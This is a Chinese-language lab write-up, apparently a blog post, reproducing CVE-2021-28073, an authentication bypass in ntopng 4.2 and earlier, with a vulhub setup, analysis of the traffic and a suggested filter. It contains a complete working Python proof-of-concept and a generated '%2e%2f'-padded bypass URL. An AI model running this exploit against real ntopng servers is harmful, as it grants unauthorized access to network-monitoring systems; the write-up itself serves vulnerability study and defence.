ntopng 权限绕过(CVE-2021-28073) 漏洞复现

*一、漏洞概述 **

*1.1 漏洞简介*

·漏洞名称:ntopng 权限绕过漏洞

·漏洞编号:CVE-2021-28073

·漏洞类型:权限绕过漏洞

·漏洞威胁等级:高危

·影响范围:4.2及以前的版本

·利用条件:默认配置

*1.2 组件描述*

ntopng是监控服务器网络流量的工具,对外提供Web页面。

*1.3 漏洞描述*

其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。

*二、漏洞复现*

*2.1 应用协议*

http

*2.2 环境搭建*

1.安装虚拟机应用程序(本次测试使用的是VMware Workstation Pro16.1版本)

2.通过 vulhub 搭建 ntopng 环境

https://github.com/vulhub/vulhub/tree/master/ntopng/CVE-2021-28073

3.启动容器

docker-compose up -d 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pNf2DEn5-1690782642198)(image-20230725143626758.png)]

4.查看容器,启动成功

docker ps 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qVAZrIVv-1690782642199)(image-20230725143707329.png)]

5.访问登录页面,admin/admin

(本地环境)http://192.168.91.128:3000/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AqlNEipR-1690782642199)(image-20230725143801246.png)]

*2.3 漏洞复现 **

1.使用poc进行验证,计算出ntopng lua目录的长度

python3 poc.py --url http://192.168.91.182:3000/ baselength

poc.py

import sys
import requests
import argparse
import logging
 
 
def is_ntopng() -> bool:
    response = session.get(base_url, allow_redirects=False)
    return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')
 
 
def get_base_length() -> int:
    for i in range(90, 120):
        url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'
        response = session.get(url, allow_redirects=False)
        if response.status_code < 300:
            return 255 - 1 - i * 2 - len('as_stats.lua')
 
    for i in range(90, 120):
        url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'
        response = session.get(url, allow_redirects=False)
        if response.status_code < 300:
            return 255 - 1 - i * 2 - len('get_macs_data.lua')
 
    return -1
 
 
def get_padding_length(path: str):
    padding_length = 255 - 1 - base_length - len(path)
    if padding_length % 2 == 1:
        raise RuntimeError(f'path {path} is not support')
 
    return int(padding_length / 2)
 
 
logging.basicConfig(stream=sys.stderr, level=logging.WARNING)
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
 
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')
    parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)
    parser.add_argument('-v', '--verbose', default=False, action='store_true')
    
    subparsers = parser.add_subparsers(dest='action')
 
    baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')
 
    generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')
    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
    generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)
 
    generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')
    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
    generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)
 
    args = parser.parse_args()
    if not args.action:
        parser.print_help()
        sys.exit(1)
 
    if args.verbose:
        logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
 
    base_url = args.url.rstrip('/')
    
    # check target
    if not is_ntopng():
        raise RuntimeError('No Ntopng detected')
 
    if args.action == 'baselength':
        base_length = get_base_length()
        sys.stdout.write(f'ntopng install path length: {base_length}\n')
    elif args.action == 'generate':
        base_length = args.length
        path = args.path
        sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vM4ggG8c-1690782642199)(image-20230725143909489.png)]

2.浏览我们想要未经授权访问的页面或界面,如/lua/find_prefs.lua,会被重定向到登录页面。

python3 poc.py --url http://192.168.91.182:3000/ generate -l 36 -p find_prefs.lua 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wpIePowB-1690782642200)(image-20230725144100976.png)]

3.访问重定向url

http://192.168.91.128:3000/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vYfMxCBK-1690782642200)(image-20230725144131312.png)]

4.虽然显示404,没有该页面,但是左侧的功能点以及可以随机点击,此时越过了权限,任意的访问该网站

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VGtpS8Gu-1690782642201)(image-20230725144410530.png)]

*三、漏洞分析*

*3.1 技术背景*

\

*3.2 代码分析*

poc分析:

1.首先定义一个is_ntopng()函数:

该函数发送一个请求到指定的URL,并检查响应中是否包含’/lua/login.lua’。如果返回状态码为302,且Location头部包含’/lua/login.lua’,则表明该URL是ntopng,返回True;否则返回False

2.定义一个get_base_length()函数:

该函数尝试计算目标ntopng的基本路径长度。它通过发送一系列特定请求,检查状态码,从而找到一种使得请求成功的URL组合。然后返回base_length,即ntopng的基本路径长度。

3定义一个get_padding_length(path: str)函数:

该函数用于计算目标ntopng路径中的填充长度,以便生成身份验证绕过URL。

4.通过计算路径长度,且通过报错来测试填充长度,即可绕过身份认证

*3.3 流量分析 **

请求体部分,为GET请求,/lua/后紧跟的出现大量的”.%2F“,然后跟随要访问的路径lua/xxx/lua.css,参数cookie后的tzoffset字段固定不可更改

响应包部分,一定是302重定向,location为poc给出的重定向地址

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yLhfNWi6-1690782642201)(image-20230725171018959.png)]

*3.4 绕过方式*

poc将填充"/"来绕过

*四、漏洞检测*

*4.1 组件版本自检*

以下版本受该漏洞影响:v4.2 以下

目前最高版本:v5.6

*4.2 研判建议 **

使用请求包的重定向url访问观察是否能无权限进入

*五、防范建议*

*5.1 官方修复建议*

新版本访问重定向url后,任意点击功能模块会跳回用户登录页面

*5.2 临时修复建议*

将.%2F写入过滤规则

六、*参考链接*

源码下载url:https://github.com/ntop/ntopng

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tkite

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值